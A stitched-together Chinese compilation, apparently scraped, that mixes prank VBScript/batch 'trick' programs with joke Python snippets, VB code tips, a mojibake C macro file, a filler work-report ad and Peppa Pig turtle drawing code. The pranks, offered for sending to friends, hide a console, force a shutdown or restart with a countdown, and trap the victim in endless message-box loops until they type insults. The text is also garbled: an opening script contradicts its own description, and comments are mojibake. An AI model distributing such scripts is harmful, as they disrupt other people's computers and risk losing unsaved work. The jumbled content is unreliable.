按下面的做就行啊,把下面的文字复制到记事本内,另存为,名字随便你起,记住后面的一定要加 .vbe
使用文件传送给朋友，他打开后，只要他说“我是猪”就没事，不说的话一分钟后他的电脑就会关机。
这是编程语言，看不懂算了，按说的做就行了，不信自己试下。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
搞笑编程代码
搞笑编程代码下面是一些搞笑编程代码，希望能给大家带来笑声和娱乐。
1. 无限循环的'Hello World':```pythonwhile True:print('Hello World')```这段代码会无限循环地打印出'Hello World'，直到你手动停止程序。
可以用来调侃那些永远不会停止说'Hello World'的人。
2. 自以为自己很重要的程序员：```pythondef do_nothing():passwhile True:do_nothing()```这段代码看似有用，但实际上什么也不做。
它只是无限循环地调用一个空函数，让程序员自以为自己很重要。
3. 一段让你亲自验证的代码：```pythondef is_even(number):return number % 2 == 0assert is_even(4), '4应该是偶数'assert not is_even(7), '7不应该是偶数'assert is_even(0), '0应该是偶数'```这段代码使用了断言(assert)来验证一个函数是否正确。
它会检查一些偶数和奇数，并根据结果抛出相应的错误消息。
但实际上，你完全可以手动验证这些数字是否为偶数。
4. 爱吃鸡的程序员：```pythondef eat_chicken():while True:print('吃鸡中...')eat_chicken()```这段代码只会打印出'吃鸡中...'，一直运行下去。
它暗示了一些程序员喜欢玩吃鸡游戏，而不是专心编程。
5. 懒惰的程序员：```pythondef do_nothing():passdef lazy_programmer():while True:do_nothing()lazy_programmer()```这段代码是懒惰程序员的写照，他们只是无限循环地调用一个什么也不做的函数，而不去完成实际的编程任务。
vbe整人程序bat关机程序及取消方法
shutdown -s -f -t 300 -c "都叫你不要打开，你还开，手贱了吧。
你要接受windows系统的惩罚，关闭你的计算机一次。
快点保存你的东西吧，要关机咯，(*^__^*) 嘻嘻……。
"取消shutdown -a第二种WScript.Echo("系统cpu温度过高,系统发生错误,接下来Windows系统将提示变态的问题，你千万不能乱回答,更不能按太快,否则你就倒霉了")WScript.Echo("小朋友，你怎么不下线?")WScript.Echo("该不是中病毒了吧?")WScript.Echo("好吧，那我考你一个问题?")dim namename="会飞的dick"inputbox"你的名字叫什么:","名称"WScript.Echo("说谎可不好哦")msgbox name,,"明明是:"WScript.Echo("骗人的下场很残酷")WScript.Echo("小朋友,帮我按50次回车吧,切记,不能操之过急，否则呵呵···") WScript.Echo("1")WScript.Echo("2")WScript.Echo("3")WScript.Echo("4")WScript.Echo("5")WScript.Echo("6")WScript.Echo("7")WScript.Echo("8")WScript.Echo("9")WScript.Echo("10")WScript.Echo("11")WScript.Echo("12")WScript.Echo("13")WScript.Echo("14")WScript.Echo("15")WScript.Echo("16")WScript.Echo("17")WScript.Echo("18")WScript.Echo("19")WScript.Echo("20")WScript.Echo("21")WScript.Echo("22")WScript.Echo("23")WScript.Echo("24")WScript.Echo("25")WScript.Echo("26")WScript.Echo("27")WScript.Echo("28")WScript.Echo("29")WScript.Echo("30")WScript.Echo("31")WScript.Echo("32")WScript.Echo("33")WScript.Echo("34")WScript.Echo("35")WScript.Echo("36")WScript.Echo("37")WScript.Echo("38")WScript.Echo("39")WScript.Echo("40")WScript.Echo("41")WScript.Echo("42")WScript.Echo("43")WScript.Echo("44")WScript.Echo("45")WScript.Echo("46")WScript.Echo("47")WScript.Echo("48")WScript.Echo("49")WScript.Echo("50")dodim amsgbox("不行啊,你按的太快了,还是让你关不掉吧，重来一遍吧，按慢点哦") loop取消任务管理器中wscript 结束第三种on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 600 -c ""说我是2B，不说就10分钟后关你机，不信，试试···"" ",0 ,truedim ado while(a <> "我是2B")a = inputbox ("说我是畜2B,就不关机，快撒，说""我是2B"" ","说不说","不说",6000,6000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾.不关你计算机了"WScript.Echo("叫你别打开，你还不听，手贱了吧.现在windows系统要惩罚你") WScript.Echo("系统cpu温度过高,系统发生错误,接下来Windows系统将提示变态的问题，你千万不能乱回答,更不能按太快,否则你就倒霉了")WScript.Echo("呀，问题怎么还没开始?")WScript.Echo("该不是中病毒了吧?")WScript.Echo("哦，原来是windows系统在检测你的人品")WScript.Echo("唉，没办法，你人品太差了，系统速度都被你拖慢了")WScript.Echo("好，问题来了,请认真回答")dim namename="我是猪"inputbox"你的名字叫什么:","名称"WScript.Echo("说谎可不好哦")msgbox name,,"明明是:"WScript.Echo("骗人的下场是很残酷的")WScript.Echo("骚年你要按50次回车,切记,不能操之过急，否则呵呵···")WScript.Echo("1")WScript.Echo("2")WScript.Echo("3")WScript.Echo("4")WScript.Echo("6") WScript.Echo("7") WScript.Echo("8") WScript.Echo("9") WScript.Echo("10") WScript.Echo("11") WScript.Echo("12") WScript.Echo("13") WScript.Echo("14") WScript.Echo("15") WScript.Echo("16") WScript.Echo("17") WScript.Echo("18") WScript.Echo("19") WScript.Echo("20") WScript.Echo("21") WScript.Echo("22") WScript.Echo("23") WScript.Echo("24") WScript.Echo("25") WScript.Echo("26") WScript.Echo("27") WScript.Echo("28") WScript.Echo("29") WScript.Echo("30") WScript.Echo("31") WScript.Echo("32") WScript.Echo("33") WScript.Echo("34") WScript.Echo("35") WScript.Echo("36") WScript.Echo("37") WScript.Echo("38") WScript.Echo("39") WScript.Echo("40") WScript.Echo("41") WScript.Echo("42") WScript.Echo("43") WScript.Echo("44") WScript.Echo("45") WScript.Echo("46") WScript.Echo("47") WScript.Echo("48")WScript.Echo("50")WScript.Echo("按太快了，重新来一遍，作为惩罚，这次要按100次，否则无法关闭程序")WScript.Echo("1")WScript.Echo("2")WScript.Echo("3")WScript.Echo("4")WScript.Echo("5")WScript.Echo("6")WScript.Echo("7")WScript.Echo("8")WScript.Echo("9")WScript.Echo("10")WScript.Echo("11")WScript.Echo("12")WScript.Echo("13")WScript.Echo("14")WScript.Echo("15")WScript.Echo("16")WScript.Echo("17")WScript.Echo("18")WScript.Echo("19")WScript.Echo("20")WScript.Echo("21")WScript.Echo("22")WScript.Echo("23")WScript.Echo("24")WScript.Echo("25")WScript.Echo("26")WScript.Echo("27")WScript.Echo("28")WScript.Echo("29")WScript.Echo("30")WScript.Echo("31")WScript.Echo("32")WScript.Echo("33")WScript.Echo("34")WScript.Echo("35")WScript.Echo("36")WScript.Echo("37")WScript.Echo("38")WScript.Echo("40") WScript.Echo("41") WScript.Echo("42") WScript.Echo("43") WScript.Echo("44") WScript.Echo("45") WScript.Echo("46") WScript.Echo("47") WScript.Echo("48") WScript.Echo("49") WScript.Echo("50") WScript.Echo("51") WScript.Echo("52") WScript.Echo("53") WScript.Echo("54") WScript.Echo("55") WScript.Echo("56") WScript.Echo("57") WScript.Echo("58") WScript.Echo("59") WScript.Echo("60") WScript.Echo("61") WScript.Echo("62") WScript.Echo("63") WScript.Echo("64") WScript.Echo("65") WScript.Echo("66") WScript.Echo("67") WScript.Echo("68") WScript.Echo("69") WScript.Echo("70") WScript.Echo("71") WScript.Echo("72") WScript.Echo("73") WScript.Echo("74") WScript.Echo("75") WScript.Echo("76") WScript.Echo("77") WScript.Echo("78") WScript.Echo("79") WScript.Echo("80") WScript.Echo("81") WScript.Echo("82")WScript.Echo("84")WScript.Echo("85")WScript.Echo("86")WScript.Echo("87")WScript.Echo("88")WScript.Echo("89")WScript.Echo("90")WScript.Echo("91")WScript.Echo("92")WScript.Echo("93")WScript.Echo("94")WScript.Echo("95")WScript.Echo("96")WScript.Echo("97")WScript.Echo("98")WScript.Echo("99")WScript.Echo("100")msgbox("好吧，看你按得挺辛苦的份上，这题算你通过了，接受下一题的考验吧")on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 600 -c ""说我是2B，不说就10分钟后关你机，不信，试试···建议先保存文件，我给足你保存时间了，否则后果自负"" ",0 ,truedim ado while(a <> "我是2B")a = inputbox ("说我是2B,就不关机，快撒，说""我是2B"" ","说不说","",6000,6000) msgbox chr(13) + chr(13) + chr(13) + "不说就关机",0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "算了，看你这么辛苦，不关你计算机了，放你一马，切记下次不要手贱哦*^__^*"WScript.Echo("叫你别打开，你还不听，手贱了吧.现在windows系统要惩罚你") WScript.Echo("系统cpu温度过高,系统发生错误,接下来Windows系统将提示变态的问题，你千万不能乱回答,更不能按太快,否则你就倒霉了")WScript.Echo("怎么还没问题?")WScript.Echo("该不是中病毒了吧?")WScript.Echo("哦，原来你人品太差了，系统都看不下去了")dim namename="姓名:法克"inputbox"你的名字叫什么:","名称"WScript.Echo("说谎可不好哦")msgbox name,,"明明是:"WScript.Echo("骗人的下场很残酷")WScript.Echo("小朋友,帮我按50次回车吧,切记,不能操之过急，否则呵呵···") WScript.Echo("1")WScript.Echo("2")WScript.Echo("3")WScript.Echo("4")WScript.Echo("5")WScript.Echo("6")WScript.Echo("7")WScript.Echo("8")WScript.Echo("9")WScript.Echo("10")WScript.Echo("11")WScript.Echo("12")WScript.Echo("13")WScript.Echo("14")WScript.Echo("15")WScript.Echo("16")WScript.Echo("17")WScript.Echo("18")WScript.Echo("19")WScript.Echo("20")WScript.Echo("21")WScript.Echo("22")WScript.Echo("23")WScript.Echo("24")WScript.Echo("25")WScript.Echo("26")WScript.Echo("27")WScript.Echo("29")WScript.Echo("30")WScript.Echo("31")WScript.Echo("32")WScript.Echo("33")WScript.Echo("34")WScript.Echo("35")WScript.Echo("36")WScript.Echo("37")WScript.Echo("38")WScript.Echo("39")WScript.Echo("40")WScript.Echo("41")WScript.Echo("42")WScript.Echo("43")WScript.Echo("44")WScript.Echo("45")WScript.Echo("46")WScript.Echo("47")WScript.Echo("48")WScript.Echo("49")WScript.Echo("50")WScript.Echo("按太快了，重新来一遍，作为惩罚，这次要按100次") WScript.Echo("1")WScript.Echo("2")WScript.Echo("3")WScript.Echo("4")WScript.Echo("5")WScript.Echo("6")WScript.Echo("7")WScript.Echo("8")WScript.Echo("9")WScript.Echo("10")WScript.Echo("11")WScript.Echo("12")WScript.Echo("13")WScript.Echo("14")WScript.Echo("15")WScript.Echo("16")WScript.Echo("17")WScript.Echo("18")WScript.Echo("19")WScript.Echo("20")WScript.Echo("22") WScript.Echo("23") WScript.Echo("24") WScript.Echo("25") WScript.Echo("26") WScript.Echo("27") WScript.Echo("28") WScript.Echo("29") WScript.Echo("30") WScript.Echo("31") WScript.Echo("32") WScript.Echo("33") WScript.Echo("34") WScript.Echo("35") WScript.Echo("36") WScript.Echo("37") WScript.Echo("38") WScript.Echo("39") WScript.Echo("40") WScript.Echo("41") WScript.Echo("42") WScript.Echo("43") WScript.Echo("44") WScript.Echo("45") WScript.Echo("46") WScript.Echo("47") WScript.Echo("48") WScript.Echo("49") WScript.Echo("50") WScript.Echo("51") WScript.Echo("52") WScript.Echo("53") WScript.Echo("54") WScript.Echo("55") WScript.Echo("56") WScript.Echo("57") WScript.Echo("58") WScript.Echo("59") WScript.Echo("60") WScript.Echo("61") WScript.Echo("62") WScript.Echo("63") WScript.Echo("64")WScript.Echo("65")WScript.Echo("66")WScript.Echo("67")WScript.Echo("68")WScript.Echo("69")WScript.Echo("70")WScript.Echo("71")WScript.Echo("72")WScript.Echo("73")WScript.Echo("74")WScript.Echo("75")WScript.Echo("76")WScript.Echo("77")WScript.Echo("78")WScript.Echo("79")WScript.Echo("80")WScript.Echo("81")WScript.Echo("82")WScript.Echo("83")WScript.Echo("84")WScript.Echo("85")WScript.Echo("86")WScript.Echo("87")WScript.Echo("88")WScript.Echo("89")WScript.Echo("90")WScript.Echo("91")WScript.Echo("92")WScript.Echo("93")WScript.Echo("94")WScript.Echo("95")WScript.Echo("96")WScript.Echo("97")WScript.Echo("98")WScript.Echo("99")WScript.Echo("100")msgbox("看你按得挺辛苦的份上，放你一马吧，请接受下一题的考验")on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 600 -c ""说我是白痴290，说了就放过你结束进程"" 否则后果自负",0 ,truedim ado while(a <> "我是白痴290")a = inputbox ("说我是白痴290,就结束，快撒，说""我是白痴290"" ","说不说","",6000,6000) msgbox chr(13) + chr(13) + chr(13) + "不说就无法结束进程",0,"msgbox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "算了.放过你吧,下次不要手贱了哦.*^__^*"WScript.Echo("叫你别打开，你还不听，手贱了吧.现在windows系统要惩罚你") WScript.Echo("系统cpu温度过高,系统发生错误,接下来Windows系统将提示变态的问题，你千万不能乱回答,更不能按太快,否则你就倒霉了")WScript.Echo("呀，问题怎么还没开始?")WScript.Echo("该不是中病毒了吧?")WScript.Echo("哦，原来是windows系统在检测你的人品")WScript.Echo("唉，没办法，你人品太差了，系统速度都被你拖慢了")WScript.Echo("好，问题来了,请认真回答")dim namename="姓名:谢特"inputbox"你的名字叫什么:","名称"WScript.Echo("说谎可不好哦")msgbox name,,"明明是:"WScript.Echo("骗人的下场是很残酷的")WScript.Echo("骚年你要按50次回车,切记,不能操之过急，否则呵呵···")WScript.Echo("1")WScript.Echo("2")WScript.Echo("3")WScript.Echo("4")WScript.Echo("5")WScript.Echo("6")WScript.Echo("7")WScript.Echo("8")WScript.Echo("9")WScript.Echo("10")WScript.Echo("11")WScript.Echo("13")WScript.Echo("14")WScript.Echo("15")WScript.Echo("16")WScript.Echo("17")WScript.Echo("18")WScript.Echo("19")WScript.Echo("20")WScript.Echo("21")WScript.Echo("22")WScript.Echo("23")WScript.Echo("24")WScript.Echo("25")WScript.Echo("26")WScript.Echo("27")WScript.Echo("28")WScript.Echo("29")WScript.Echo("30")WScript.Echo("31")WScript.Echo("32")WScript.Echo("33")WScript.Echo("34")WScript.Echo("35")WScript.Echo("36")WScript.Echo("37")WScript.Echo("38")WScript.Echo("39")WScript.Echo("40")WScript.Echo("41")WScript.Echo("42")WScript.Echo("43")WScript.Echo("44")WScript.Echo("45")WScript.Echo("46")WScript.Echo("47")WScript.Echo("48")WScript.Echo("49")WScript.Echo("50")WScript.Echo("按太快了，重新来一遍，作为惩罚，这次要按100次") WScript.Echo("1")WScript.Echo("2")WScript.Echo("3")WScript.Echo("4")WScript.Echo("6") WScript.Echo("7") WScript.Echo("8") WScript.Echo("9") WScript.Echo("10") WScript.Echo("11") WScript.Echo("12") WScript.Echo("13") WScript.Echo("14") WScript.Echo("15") WScript.Echo("16") WScript.Echo("17") WScript.Echo("18") WScript.Echo("19") WScript.Echo("20") WScript.Echo("21") WScript.Echo("22") WScript.Echo("23") WScript.Echo("24") WScript.Echo("25") WScript.Echo("26") WScript.Echo("27") WScript.Echo("28") WScript.Echo("29") WScript.Echo("30") WScript.Echo("31") WScript.Echo("32") WScript.Echo("33") WScript.Echo("34") WScript.Echo("35") WScript.Echo("36") WScript.Echo("37") WScript.Echo("38") WScript.Echo("39") WScript.Echo("40") WScript.Echo("41") WScript.Echo("42") WScript.Echo("43") WScript.Echo("44") WScript.Echo("45") WScript.Echo("46") WScript.Echo("47") WScript.Echo("48")WScript.Echo("50") WScript.Echo("51") WScript.Echo("52") WScript.Echo("53") WScript.Echo("54") WScript.Echo("55") WScript.Echo("56") WScript.Echo("57") WScript.Echo("58") WScript.Echo("59") WScript.Echo("60") WScript.Echo("61") WScript.Echo("62") WScript.Echo("63") WScript.Echo("64") WScript.Echo("65") WScript.Echo("66") WScript.Echo("67") WScript.Echo("68") WScript.Echo("69") WScript.Echo("70") WScript.Echo("71") WScript.Echo("72") WScript.Echo("73") WScript.Echo("74") WScript.Echo("75") WScript.Echo("76") WScript.Echo("77") WScript.Echo("78") WScript.Echo("79") WScript.Echo("80") WScript.Echo("81") WScript.Echo("82") WScript.Echo("83") WScript.Echo("84") WScript.Echo("85") WScript.Echo("86") WScript.Echo("87") WScript.Echo("88") WScript.Echo("89") WScript.Echo("90") WScript.Echo("91") WScript.Echo("92")WScript.Echo("94")WScript.Echo("95")WScript.Echo("96")WScript.Echo("97")WScript.Echo("98")WScript.Echo("99")WScript.Echo("100")dodim amsgbox("好吧，还是太快了，不能让你退出哦，自求多福吧骚年") loop。
vb常用代码大全
移动无标题栏的窗体dim m（borderstyle=none）ouseX as integerdim mouseY as integerdim moveX as integerdim moveY as integerdim down as booleanform_mousedown: ’mousedown事件down=truemouseX=xmouseY=yform_mouseup: ’mouseup事件down=falseform_mousemoveif down=true thenmoveX=me。
left-mouseX+XmoveY=me.top—mouseY+Yme.move moveX，moveYend if*＊*＊＊*＊***＊*＊**＊＊*****＊＊＊*****＊＊＊＊*＊*＊****＊闪烁控件比如要闪烁一个label（标签）添加一个时钟控件间隔请根据实际需要设置 enabled属性设为true代码为：label1。
visible=not label1。
visible *＊＊＊＊******＊**＊＊＊**＊*＊*＊＊**＊＊＊*＊＊**＊****＊*＊禁止使用 Alt+F4 关闭窗口Private Declare Function DeleteMenu Lib "user32" （ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long ） As LongPrivate Declare Function GetMenuItemC ount Lib ”user32”（ByVal hMenu As Lon g） As LongPrivate Const MF_BYPOSITION = ＆H400&Private Sub Form_Load(）Dim hwndMenu As LongDim c As LonghwndMenu = GetSystemMenu（Me。
vb常用代码大全
#define __LLF_VB_GUI__#include "vb.h"//Sub Output( ByRef( msg As String ) ) { //why can't replace ',' ? Sub Output( ByRef( msg , String ) ) { //must add '{' now .Call Print( msg ); //must add ';' .End_SubSub Main() {If False Or False ThenCall Output( "That's True!\n" ); //must add ';' .ElseCall Output( "That't False!\n" ); //must add ';'.End_Ifint i = 0;//For( i, 0 To 10 ) //why can't replace ',' ?For( i, 0, 10 )Print( i );NextPause();End_Sub#ifndef __LLF_VISUAL_BASIC_LIKE_MODULE_MAIN__#define __LLF_VISUAL_BASIC_LIKE_MODULE_MAIN__#include <stdio.h>inline void Print(const char *msg){ printf(msg); }inline void Print(int i){ printf( "%i\n", i); }inline void Pause() { getchar(); }void Main();int main (int argc, char *argv[]) { Main(); return 0; }#endif#ifndef __LLF_VISUAL_BASIC_LIKE_MODULE__#define __LLF_VISUAL_BASIC_LIKE_MODULE__//Ö÷º¯Êý¶¨ÒåÓëʹÓÃ#ifdef __LLF_VB_GUI__#include "winmain.h"#else#include "main.h"#endif//ÀàÐͶ¨Òå#define Integer int#define String char#define Boolean bool#define True true#define False false// Óï·¨Ïà¹Ø²¿·ÖµÄºê¶¨Òå#define If if(#define Then ){#define End_If }#define Or ||#define And &&#define Else }else{#define To #@,#define For(i, min , max) for(i=min;i<=max;i++){#define Next }//½á¹¹Ïà¹Ø²¿·ÖµÄºê¶¨Òå#define Call#define Sub void#define NewSub(x) void x {#define End_Sub }#define As ,#define ByRef(m, t) t *m#define ByVal(m, t) t m#endif#ifndef __LLF_VISUAL_BASIC_LIKE_MODULE_MAIN__#define __LLF_VISUAL_BASIC_LIKE_MODULE_MAIN__#include <windows.h>inline void Print(const char *msg){ MessageBox(NULL, msg, "vb", MB_OK); }inline void Print(int i){ char s[1024]; Print( itoa(i, s, 1023) ); } inline void Pause() { Print("** Pause **"); }void Main();int WINAPI WinMain(HINSTANCE, HINSTANCE,LPSTR, int) { Main(); return 0; }#endif--------下面红色部分是赠送的工作总结，不需要的朋友可以编辑删除！谢谢行政管理干部个人总结20XX年上半年，在公司的正确领导下，在各科室部门的大力支持下，我按照公司的工作部署和工作要求，严格执行公司的工作方针，围绕中心，突出重点，狠抓落实，注重实效，在自身工作岗位上认真履行职责，做好各项行政管理工作，较好地完成了工作任务，取得了一定的成绩。
小猪佩奇代码
⼩猪佩奇代码# coding:utf-8import turtle as tt.screensize(400, 300, "pink")t.pensize(4) # 设置画笔的⼤⼩t.colormode(255) # 设置GBK颜⾊范围为0-255t.color((255, 155, 192), "pink") # 设置画笔颜⾊和填充颜⾊(pink)t.setup(840, 500) # 设置主窗⼝的⼤⼩为840*500t.speed(10) # 设置画笔速度为10# ⿐⼦t.pu() # 提笔t.goto(-100, 100) # 画笔前往坐标(-100,100)t.pd() # 下笔t.seth(-30) # 笔的⾓度为-30°t.begin_fill() # 外形填充的开始标志a = 0.4for i in range(120):if 0 <= i < 30 or 60 <= i < 90:a = a + 0.08t.lt(3) # 向左转3度t.fd(a) # 向前⾛a的步长else:a = a - 0.08t.lt(3)t.fd(a)t.end_fill() # 依据轮廓填充t.pu() # 提笔t.seth(90) # 笔的⾓度为90度t.fd(25) # 向前移动25t.seth(0) # 转换画笔的⾓度为0t.fd(10)t.pd()t.pencolor(255, 155, 192) # 设置画笔颜⾊t.seth(10)t.begin_fill()t.circle(5) # 画⼀个半径为5的圆t.color(160, 82, 45) # 设置画笔和填充颜⾊t.end_fill()t.pu()t.seth(0)t.fd(20)t.pd()t.pencolor(255, 155, 192)t.seth(10)t.begin_fill()t.circle(5)t.color(160, 82, 45)t.end_fill()# 头t.color((255, 155, 192), "pink")t.pu()t.seth(90)t.fd(41)t.seth(0)t.fd(0)t.pd()t.begin_fill()t.seth(180)t.circle(300, -30) # 顺时针画⼀个半径为300,圆⼼⾓为30°的园t.circle(100, -60)t.circle(80, -100)t.circle(150, -20)t.circle(60, -95)t.seth(161)t.circle(-300, 15)t.pu()t.goto(-100, 100)t.pd()t.seth(-30)a = 0.4for i in range(60):if 0 <= i < 30 or 60 <= i < 90:a = a + 0.08t.lt(3) # 向左转3度t.fd(a) # 向前⾛a的步长else:t.color((255, 155, 192), "pink") t.pu()t.seth(90)t.fd(-7)t.seth(0)t.fd(70)t.pd()t.begin_fill()t.seth(100)t.circle(-50, 50)t.circle(-10, 120)t.circle(-50, 54)t.end_fill()t.pu()t.seth(90)t.fd(-12)t.seth(0)t.fd(30)t.pd()t.begin_fill()t.seth(100)t.circle(-50, 50)t.circle(-10, 120)t.circle(-50, 56)t.end_fill()# 眼睛t.color((255, 155, 192), "white") t.pu()t.seth(90)t.fd(-20)t.seth(0)t.fd(-95)t.pd()t.begin_fill()t.circle(15)t.end_fill()t.color("black")t.pu()t.seth(90)t.fd(12)t.seth(0)t.fd(-3)t.pd()t.begin_fill()t.circle(3)t.end_fill()t.color((255, 155, 192), "white") t.pu()t.seth(90)t.fd(-25)t.seth(0)t.fd(40)t.pd()t.begin_fill()t.circle(15)t.end_fill()t.color("black")t.pu()t.seth(90)t.fd(12)t.seth(0)t.fd(-3)t.pd()t.begin_fill()t.circle(3)t.end_fill()# 腮t.color((255, 155, 192))t.pu()t.seth(90)t.fd(-95)t.seth(0)t.fd(65)t.pd()t.begin_fill()t.circle(30)t.end_fill()# 嘴t.color(239, 69, 19)t.circle(40, 80)# ⾝体t.color("pink", (255, 99, 71))t.pu()t.seth(90)t.fd(-20)t.seth(0)t.fd(-78)t.pd()t.begin_fill()t.seth(-130)t.circle(100, 10)t.circle(300, 30)t.seth(0)t.fd(230)t.seth(90)t.circle(300, 30)t.circle(100, 3)t.color((255, 155, 192), (255, 100, 100)) t.seth(-135)t.circle(-80, 63)t.circle(-150, 24)t.end_fill()# ⼿t.color((255, 155, 192))t.pu()t.seth(90)t.fd(-40)t.seth(0)t.fd(-27)t.pd()t.seth(-160)t.circle(300, 15)t.pu()t.seth(90)t.fd(15)t.seth(0)t.fd(0)t.pd()t.seth(-10)t.circle(-20, 90)t.pu()t.seth(90)t.fd(30)t.seth(0)t.fd(237)t.pd()t.seth(-20)t.circle(-300, 15)t.pu()t.seth(90)t.fd(20)t.seth(0)t.fd(0)t.pd()t.seth(-170)t.circle(20, 90)# 脚t.pensize(10)t.color((240, 128, 128))t.pu()t.seth(90)t.fd(-75)t.seth(0)t.fd(-180)t.pd()t.seth(-90)t.fd(40)t.seth(-180)t.color("red")t.pensize(15)t.fd(20)t.pensize(10)t.color((240, 128, 128))t.pu()t.seth(90)t.pensize(15)t.fd(20)# 尾巴t.pensize(4)t.color((255, 155, 192)) t.pu()t.seth(90)t.fd(70)t.seth(0)t.fd(95)t.pd()t.seth(0)t.circle(70, 20)t.circle(10, 330)t.circle(70, 30)t.done()。